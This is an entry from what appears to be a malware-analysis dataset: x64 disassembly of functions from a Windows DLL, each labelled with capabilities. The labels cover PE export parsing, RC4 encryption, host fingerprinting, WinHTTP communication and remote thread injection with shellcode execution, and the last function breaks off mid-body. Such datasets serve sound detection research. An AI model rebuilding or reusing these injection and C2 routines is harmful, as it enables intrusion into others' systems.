joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800198c8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x28
movsxd r10, dword [rcx + 0x3c]
mov r14, rcx
xor r15d, r15d
lea rax, [r10 + rcx + 0x78]
mov r8d, 0x14c
lea rcx, [r10 + rcx + 0x88]
cmp word [r10 + r14 + 4], r8w
cmove rcx, rax
mov eax, dword [rcx]
lea rdi, [r14 + rax]
test eax, eax
je 0x180019a09
cmp dword [rcx + 4], r15d
je 0x180019a09
cmp dword [rdi + 0x1c], r15d
je 0x180019a09
mov r13d, dword [rdi + 0x14]
test r13d, r13d
je 0x180019a09
mov r12d, dword [rdi + 0x1c]
mov rbx, rdx
add r12, r14
test rdx, rdx
je 0x180019955
cmp rdx, 0xffff
jbe 0x18001995b
mov r13d, dword [rdi + 0x18]
xor ebx, ebx
cmp dword [rdi + 0x24], r15d
je 0x1800199ff
mov ebp, dword [rdi + 0x24]
mov esi, dword [rdi + 0x20]
and dword [rsp + 0x70], r15d
add rbp, r14
add rsi, r14
test r13d, r13d
je 0x180019a09
test rbx, rbx
je 0x1800199b2
mov ecx, dword [rdi + 0x10]
movzx eax, word [rbp]
add rcx, rax
cmp rbx, rcx
jne 0x1800199e6
movzx eax, word [rbp]
mov rcx, qword [rsp + 0x88]
lea r15, [r12 + rax*4]
test rcx, rcx
je 0x180019a09
mov eax, dword [rsi]
add rax, r14
mov qword [rcx], rax
jmp 0x180019a09
mov ecx, dword [rsi]
add rcx, r14
test rdx, rdx
je 0x1800199c6
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jmp 0x1800199df
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [rsi]
add rcx, r14
mov edx, eax
call fcn.18002b31c
cmp dword [rsp + 0x80], eax
je 0x180019993
mov rdx, qword [rsp + 0x78]
mov eax, dword [rsp + 0x70]
add rsi, 4
add rbp, 2
inc eax
mov dword [rsp + 0x70], eax
cmp eax, r13d
jae 0x180019a09
jmp 0x18001997f
test rbx, rbx
je 0x180019a09
lea r15, [r12 + rbx*4 - 4]
mov rax, r15
add rsp, 0x28
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180019ce8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov qword [rax + 0x10], rdx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov r14, qword [0x180039cf8]
movzx ebp, word [0x180039d14]
mov eax, 0x5d3a
movsxd rcx, dword [r14 + 0x3c]
xor bp, ax
mov r15, r8
add rcx, r14
xor edi, edi
movzx eax, word [rcx + 6]
lea r8, [rax + rax*4]
movzx eax, word [rcx + 0x14]
add rcx, rax
lea rbx, [rcx + r8*8 + 0x40]
jmp 0x180019d49
cmp ax, bp
je 0x180019d5a
add rbx, 0x14
movzx eax, word [rbx]
cmp ax, di
jne 0x180019d40
cmp ax, bp
jne 0x180019e10
mov r13d, dword [rsp + 0x78]
mov r12d, dword [rsp + 0x70]
test dword [rbx + 4], r13d
je 0x180019de3
cmp r12d, edi
je 0x180019d75
cmp dword [rbx + 8], r12d
jne 0x180019de3
test byte [rbx + 4], 8
jne 0x180019de3
mov r8d, dword [rbx + 0x10]
mov rcx, qword [0x180039b48]
xor edx, edx
inc r8d
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
cmp rax, rdi
je 0x180019de3
bt dword [rbx + 4], 0x10
jae 0x180019db3
mov ecx, dword [rbx + 0xc]
mov rdx, rax
add rcx, r14
call fcn.1800202ac
cmp eax, dword [rbx + 0x10]
je 0x180019df6
bt dword [rbx + 4], 0x10
jb 0x180019dd1
mov edx, dword [rbx + 0xc]
mov r8d, dword [rbx + 0x10]
mov rcx, rsi
add rdx, r14
call sub.ntdll.dll_memcpy
cmp rax, rdi
jne 0x180019df6
mov rcx, qword [0x180039b48]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
movzx eax, word [rbx + 2]
lea rbx, [rbx + rax*4 + 0x14]
cmp word [rbx], bp
jne 0x180019e10
jmp 0x180019d64
mov eax, dword [rbx + 0x10]
mov byte [rax + rsi], dil
mov rax, qword [rsp + 0x58]
mov edi, 1
mov qword [rax], rsi
mov eax, dword [rbx + 0x10]
mov dword [r15], eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov eax, edi
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180019e7c
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
lea rcx, [0x18003d776]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
movzx ecx, word [rdx + 0x14]
lea r8, [rcx + rdx + 0x18]
movzx ecx, word [rdx + 6]
test ecx, ecx
je 0x180019ec1
bt dword [r8 + 0x24], 0x1f
jb 0x180019ec4
add r8, 0x28
add ecx, 0xffffffff
jne 0x180019eb0
xor r8d, r8d
xor edi, edi
test r8, r8
je 0x180019f8c
mov ebx, dword [r8 + 0xc]
xor ecx, ecx
add rbx, rax
mov eax, dword [r8 + 8]
mov dword [rsp + 0x50], ecx
lea rsi, [rax + rbx - 0x10]
xor eax, eax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
lea rax, [0x180019e74]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x20], rax
cmp rbx, rsi
ja 0x180019f8c
mov rax, qword [rbx]
cmp rax, rbx
jne 0x180019f84
cmp rax, qword [rbx + 8]
jne 0x180019f84
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rbx
lea rcx, [rsp + 0x20]
mov qword [rax + 8], rcx
lea rax, [rsp + 0x20]
lea rcx, [0x18003db82]
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x180019f69
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x28]
mov qword [rax], rcx
mov qword [rcx + 8], rax
mov ecx, dword [rsp + 0x50]
test ecx, ecx
cmovne rdi, rbx
add rbx, 0x10
test ecx, ecx
je 0x180019f20
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rax, rdi
add rsp, 0x40
pop rdi
ret

Function at 0x180019fa0
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, r8
mov rsi, rdx
mov ebx, 1
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
jb 0x18001a001
lea rcx, [0x18003d776]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x18003dfdb]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18001a06f
lea rdx, [0x1800170fc]
mov r9, rdi
mov r8, rsi
xor ecx, ecx
call rax
test eax, eax
jne 0x18001a06f
jmp 0x18001a066
cmp qword [0x180039da8], 0
jne 0x18001a01c
call fcn.180019e7c
mov qword [0x180039da8], rax
test rax, rax
je 0x18001a06f
mov rcx, qword [0x180039b48]
xor edx, edx
lea r8d, [rdx + 0x20]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x18001a06a
mov rdx, qword [0x180039da8]
mov qword [rax + 8], rax
mov qword [rax], rax
mov qword [rax + 0x18], rsi
lea rcx, [0x1800170fc]
mov qword [rax + 0x10], rcx
mov qword [rdi], rax
mov rcx, qword [rdx + 8]
mov qword [rax + 8], rcx
mov qword [rax], rdx
mov qword [rcx], rax
mov qword [rdx + 8], rax
xor ebx, ebx
jmp 0x18001a06f
mov ebx, 8
mov rsi, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x18001b20c
Capabilities:
Get hostname
Get session user name

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x30
mov eax, dword [0x180039d10]
and dword [rsp + 0x40], 0
lea rdx, [rsp + 0x48]
mov dword [rsp + 0x48], eax
mov rdi, rcx
call fcn.180017214
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov edx, dword [rsp + 0x40]
test edx, edx
je 0x18001b298
mov rcx, qword [0x180039b48]
mov r8, rdx
xor edx, edx
add r8, r8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x18001b298
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x18001b286
mov edx, dword [rsp + 0x40]
mov rcx, rbx
add edx, edx
call fcn.18002b31c
xor dword [rdi], eax
mov rcx, qword [0x180039b48]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
and dword [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov edx, dword [rsp + 0x40]
test edx, edx
je 0x18001b304
mov rcx, qword [0x180039b48]
mov r8, rdx
xor edx, edx
add r8, r8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x18001b304
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x18001b2f2
mov edx, dword [rsp + 0x40]
mov rcx, rbx
add edx, edx
call fcn.18002b31c
xor dword [rdi + 0xc], eax
mov rcx, qword [0x180039b48]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor ecx, ecx
mov eax, 1
cpuid
mov r8d, eax
mov eax, dword [rdi + 4]
mov dword [rsp + 0x24], ebx
mov rbx, qword [rsp + 0x50]
xor eax, edx
xor eax, ecx
xor eax, r8d
mov dword [rdi + 4], eax
add rsp, 0x30
pop rdi
ret
Function at 0x18001bc78
Capabilities:
Check os version
Initialize winhttp library
Prepare http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov dword [rsp + 0x18], r8d
push rsi
push rdi
push r12
sub rsp, 0x50
mov rax, rdx
mov rdi, rcx
xor edx, edx
mov rcx, rax
mov ebp, r9d
call fcn.18001866c
xor ebx, ebx
mov rsi, rax
cmp rax, rbx
je 0x18001be62
call qword [sym.imp.KERNEL32.dll_GetVersion]
lea r12d, [rbx + 4]
cmp al, 6
ja 0x18001bcd0
jne 0x18001bcc8
shr ax, 8
cmp al, 1
ja 0x18001bcd0
mov edx, ebx
mov dword [rsp + 0x40], ebx
jmp 0x18001bcd7
mov edx, r12d
mov dword [rsp + 0x40], edx
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rcx, qword [0x180039b48]
mov r8, rsi
xor edx, edx
mov qword [rdi + 0x20], rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rdi + 0x20], rbx
je 0x18001be62
mov rcx, qword [rdi]
xor edx, edx
call fcn.18001866c
mov rsi, rax
cmp rax, rbx
je 0x18001be62
mov ecx, dword [rsp + 0x90]
mov rdx, rax
neg ecx
mov rcx, qword [rdi + 0x20]
sbb r8w, r8w
xor r9d, r9d
and r8w, 0x16b
add r8w, 0x50
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rcx, qword [0x180039b48]
mov r8, rsi
xor edx, edx
mov qword [rdi + 0x28], rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rdi + 0x28], rbx
je 0x18001be62
cmp dword [rsp + 0x90], ebx
mov eax, 0x100
mov ecx, 0x800100
cmovne eax, ecx
mov rcx, qword [rdi + 8]
xor edx, edx
mov dword [rsp + 0x40], eax
call fcn.18001866c
mov rsi, rax
cmp rax, rbx
je 0x18001be62
mov ecx, dword [rsp + 0x40]
lea rax, [0x18003d4a0]
lea rdx, [0x18003d4b8]
mov dword [rsp + 0x30], ecx
mov rcx, qword [rdi + 0x28]
cmp ebp, ebx
cmovne rdx, rax
mov r8, rsi
xor r9d, r9d
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rcx, qword [0x180039b48]
mov r8, rsi
xor edx, edx
mov qword [rdi + 0x30], rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rdi + 0x30]
cmp rcx, rbx
je 0x18001be62
mov esi, 0x1f
lea r9, [rsp + 0x44]
lea r8, [rsp + 0x40]
mov edx, esi
mov dword [rsp + 0x44], r12d
call qword [sym.imp.WINHTTP.dll_WinHttpQueryOption]
cmp eax, ebx
je 0x18001be26
mov rcx, qword [rdi + 0x30]
bts dword [rsp + 0x40], 8
lea r8, [rsp + 0x40]
mov r9d, r12d
mov edx, esi
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
mov rcx, qword [rdi + 0x30]
lea r8, [rsp + 0x80]
mov r9d, r12d
mov edx, 6
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
cmp eax, ebx
je 0x18001be62
mov rcx, qword [rdi + 0x30]
lea r8, [rsp + 0x80]
mov r9d, r12d
mov edx, 5
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
cmp eax, ebx
jne 0x18001be6a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rbp, qword [rsp + 0x78]
mov eax, ebx
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop r12
pop rdi
pop rsi
ret
Function at 0x18001bf4c
Capabilities:
Set http header

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, rdx
mov qword [r11 - 0x48], r8
lea r8, [rcx + 8]
mov rsi, rcx
xor edi, edi
mov rdx, rcx
and qword [r11 - 0x40], rdi
mov rcx, rax
mov ebx, 8
mov qword [r11 + 8], rdi
mov dword [r11 - 0x38], r9d
call fcn.18001b378
test eax, eax
je 0x18001c0dc
mov rax, qword [rsp + 0xa8]
lea rbp, [0x18003d489]
test rax, rax
cmovne rbp, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [0x180039b48]
xor edx, edx
lea r8d, [rax + 0x68]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12, rax
test rax, rax
je 0x18001c0dc
lea r9, [0x18003d588]
lea rdx, [0x18003d546]
mov r8, rbp
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
lea edi, [rbx - 7]
lea r13, [rsi + 0x58]
lea r9, [rsi + 0x10]
lea r8, [rsp + 0x80]
lea rcx, [rsp + 0x30]
mov edx, edi
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x20], r13
call fcn.18001b480
mov rcx, qword [0x180039b48]
mov r8, r12
xor edx, edx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test ebx, ebx
jne 0x18001c0d4
mov r8d, dword [rsp + 0xb0]
mov rdx, qword [rsp + 0xa0]
mov eax, 0xea60
test r8d, r8d
mov r9d, edi
mov rcx, rsi
cmove r8d, eax
and dword [rsp + 0x20], ebx
call fcn.18001bc78
mov ebx, eax
test eax, eax
jne 0x18001c0d4
mov rdi, qword [rsp + 0x80]
xor edx, edx
mov rcx, rdi
call fcn.18001866c
mov rbp, rax
test rax, rax
jne 0x18001c084
lea ebx, [rax + 8]
jmp 0x18001c0dc
mov rcx, qword [rsi + 0x30]
mov r9d, 0x10000000
or r8d, 0xffffffff
mov rdx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
test eax, eax
jne 0x18001c0a7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [0x180039b48]
mov r8, rbp
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test ebx, ebx
jne 0x18001c0dc
mov r9d, dword [r13]
mov r8, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x30]
xor edx, edx
call fcn.18001be80
mov ebx, eax
jmp 0x18001c0dc
mov rdi, qword [rsp + 0x80]
mov dword [rsi + 0x50], ebx
test rdi, rdi
je 0x18001c0f6
mov rcx, qword [0x180039b48]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r11, [rsp + 0x50]
mov eax, ebx
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x18001c1d8
Capabilities:
Receive http response

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [rcx + 0x30]
lea rdx, [rsp + 0x40]
xor ebx, ebx
and dword [rsp + 0x48], ebx
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x18001c333
cmp dword [rsp + 0x40], ebx
je 0x18001c32e
lea r8, [rsp + 0x50]
lea edx, [rbx + 1]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
jne 0x18001c327
mov rcx, qword [0x180039b48]
xor edx, edx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x18001c315
mov ecx, dword [rsp + 0x40]
mov r8d, 0x1000
lea r9, [rsp + 0x48]
mov rdx, rsi
cmp ecx, r8d
cmovb r8d, ecx
mov rcx, qword [rdi + 0x30]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x18001c290
mov rcx, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x48]
xor r9d, r9d
mov rax, qword [rcx]
mov rdx, rsi
call qword [rax + 0x20]
mov ecx, dword [rsp + 0x40]
sub ecx, dword [rsp + 0x48]
mov dword [rsp + 0x40], ecx
je 0x18001c298
jmp 0x18001c247
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [0x180039d08]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x18001c2e9
mov rcx, qword [rdi + 0x30]
lea rdx, [rsp + 0x40]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x18001c2dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp eax, 0x2f78
jne 0x18001c2ee
mov ecx, dword [rsp + 0x40]
test ecx, ecx
jne 0x18001c2ee
xor ebx, ebx
jmp 0x18001c2e0
mov ecx, dword [rsp + 0x40]
test ecx, ecx
je 0x18001c2ee
jmp 0x18001c247
mov ebx, 0x102
mov rcx, qword [0x180039b48]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test ebx, ebx
jne 0x18001c31a
mov rdx, qword [rsp + 0x50]
mov rcx, rdi
call fcn.18001b8d0
mov ebx, eax
jmp 0x18001c31a
mov ebx, 8
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x18001c348
mov ebx, 8
jmp 0x18001c348
and dword [rdi + 0x58], ebx
jmp 0x18001c348
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp eax, 0x2efe
jne 0x18001c348
and dword [rdi + 0x58], 0
xor ebx, ebx
mov eax, ebx
add rsp, 0x20
pop rdi
pop rsi
pop rbx
ret
Function at 0x18001c354
Capabilities:
Read http header
Receive http response

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rbp
push rsi
push rdi
push r12
sub rsp, 0x30
mov ebx, dword [rcx + 0x50]
xor r12d, r12d
mov rdi, rcx
mov dword [rax + 0x10], r12d
mov dword [rcx + 0x54], r12d
cmp ebx, r12d
jne 0x18001c4cb
mov rcx, qword [rcx + 0x30]
xor edx, edx
mov dword [rax + 8], 4
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
cmp eax, r12d
je 0x18001c4c3
mov rcx, qword [rdi + 0x30]
lea rax, [rsp + 0x58]
lea r9, [rdi + 0x54]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov edx, 0x20000013
mov qword [rsp + 0x20], rax
call sub.WINHTTP.dll_WinHttpQueryHeaders
cmp eax, r12d
je 0x18001c4c3
mov rcx, qword [rdi + 0x30]
lea rax, [rsp + 0x58]
lea ebp, [r12 + 0x16]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov edx, ebp
mov dword [rsp + 0x58], r12d
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x50], r12d
call sub.WINHTTP.dll_WinHttpQueryHeaders
mov r8d, dword [rsp + 0x50]
mov rcx, qword [0x180039b48]
xor edx, edx
add r8d, 2
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
cmp rax, r12
je 0x18001c4bc
mov rcx, qword [rdi + 0x30]
lea rax, [rsp + 0x58]
mov r9, rsi
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov edx, ebp
mov qword [rsp + 0x20], rax
call sub.WINHTTP.dll_WinHttpQueryHeaders
cmp eax, r12d
je 0x18001c4a0
mov eax, dword [rsp + 0x50]
mov rcx, qword [0x180039b48]
xor edx, edx
shr eax, 1
mov dword [rsp + 0x50], eax
mov word [rsi + rax*2], r12w
mov r8d, dword [rsp + 0x50]
inc r8d
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
cmp rax, r12
je 0x18001c499
mov r8d, dword [rsp + 0x50]
mov rdx, rsi
mov rcx, rax
inc r8d
call qword [sym.imp.ntdll.dll_wcstombs]
mov qword [rdi + 0x18], rbp
jmp 0x18001c4a8
mov ebx, 8
jmp 0x18001c4a8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [0x180039b48]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x18001c4cb
mov ebx, 8
jmp 0x18001c4cb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
Function at 0x18001c63c
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rcx, qword [0x180039b48]
xor edx, edx
lea r8d, [rdx + 0x28]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x18001c70a
lea rcx, [0x18003e8a0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x18001c6f6
lea rdx, [0x18003e8a8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx], rax
test rax, rax
je 0x18001c6f6
lea rdx, [0x18003e8af]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 8], rax
test rax, rax
je 0x18001c6f6
lea rdx, [0x18003e8b7]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x10], rax
test rax, rax
je 0x18001c6f6
lea rdx, [0x18003e6b2]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x18], rax
test rax, rax
je 0x18001c6f6
lea rdx, [0x18003e742]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x20], rax
test rax, rax
jne 0x18001c70a
mov rcx, qword [0x180039b48]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor ebx, ebx
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x18001d8ac
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x510
and qword [rsp + 0x40], 0
mov r14, rcx
mov r13d, r8d
mov rbp, rdx
lea rcx, [rsp + 0x48]
mov r8d, 0x4c8
xor edx, edx
mov rdi, r9
call sub.ntdll.dll_memset
mov rsi, qword [rbp]
xor ecx, ecx
mov rdx, rsi
mov dword [rsp + 0x558], 0xccccfeeb
call fcn.1800174dc
xor r12d, r12d
mov dword [rsp + 0x70], 0x10000b
test eax, eax
lea ecx, [r12 + 0x10]
cmovne r12d, ecx
test rdi, rdi
jne 0x18001d92a
mov rcx, qword [rbp]
mov edx, r12d
call fcn.18001d07c
mov rdi, rax
lea rax, [rsp + 0x30]
mov r15d, 4
lea r8, [rsp + 0x568]
mov rdx, rdi
mov rcx, rsi
mov r9d, r15d
mov qword [rsp + 0x20], rax
call fcn.180018304
test eax, eax
je 0x18001da84
cmp qword [rsp + 0x30], r15
jne 0x18001da84
lea rax, [rsp + 0x560]
lea r9d, [r15 + 0x3c]
mov r8, r15
mov rdx, rdi
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x18001d9a4
lea r9, [rsp + 0x560]
lea r8, [rsp + 0x558]
mov rdx, rdi
mov rcx, rsi
call fcn.18001d008
jmp 0x18001d9a6
xor eax, eax
test eax, eax
je 0x18001da84
mov ebx, 0xbb8
mov r15d, 0x64
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [0x180039d08]
mov edx, r15d
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 8]
cmp eax, 0x102
cmovne ebx, r15d
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rax, qword [0x180038678]
sub ebx, r15d
test rax, rax
je 0x18001da08
mov rcx, qword [rbp + 8]
lea rdx, [rsp + 0x40]
call rax
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
test ebx, ebx
jle 0x18001da16
cmp qword [rsp + 0x138], rdi
jne 0x18001d9b9
cmp qword [rsp + 0x138], rdi
je 0x18001da27
mov ebx, 0x261
jmp 0x18001da3a
xor r9d, r9d
mov r8d, r12d
mov rdx, r14
mov rcx, rbp
call fcn.18001d264
mov ebx, eax
mov r9d, 0x40
lea rax, [rsp + 0x560]
mov rdx, rdi
lea r15d, [r9 - 0x3c]
mov rcx, rsi
mov qword [rsp + 0x20], rax
mov r8, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x18001da7f
lea r9, [rsp + 0x560]
lea r8, [rsp + 0x568]
mov rdx, rdi
mov rcx, rsi
call fcn.18001d008
cmp ebx, 0xffffffff
jne 0x18001da8c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test r15b, r13b
jne 0x18001da9b
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, ebx
mov rbx, qword [rsp + 0x550]
add rsp, 0x510
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18001dbd4
Capabilities:
Get process image filename
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rbp, qword [rcx]
mov rdi, rcx
mov rcx, qword [0x180039b48]
mov esi, edx
xor edx, edx
mov r8d, 0x1000
lea r12d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r13d, r13d
mov rbx, rax
cmp rax, r13
je 0x18001dc93
mov r8d, 0x800
mov rdx, rax
mov rcx, rbp
call sub.PSAPI.DLL_GetProcessImageFileNameW
cmp eax, r13d
je 0x18001dc6a
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov rbp, rax
cmp rax, r13
je 0x18001dc6a
mov rcx, rax
call qword [sym.imp.ntdll.dll__wcsupr]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, rbp
mov edx, eax
call fcn.18002b31c
xor eax, dword [0x180039d14]
cmp eax, 0x93c01765
cmove r12d, r13d
mov rcx, qword [0x180039b48]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp r12d, r13d
jne 0x18001dc93
test sil, 4
jne 0x18001dca8
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x18001dca8
lea rcx, [0x180039de0]
xor r9d, r9d
mov r8d, esi
mov rdx, rdi
call fcn.18001d8ac
mov rbx, qword [rsp + 0x40]
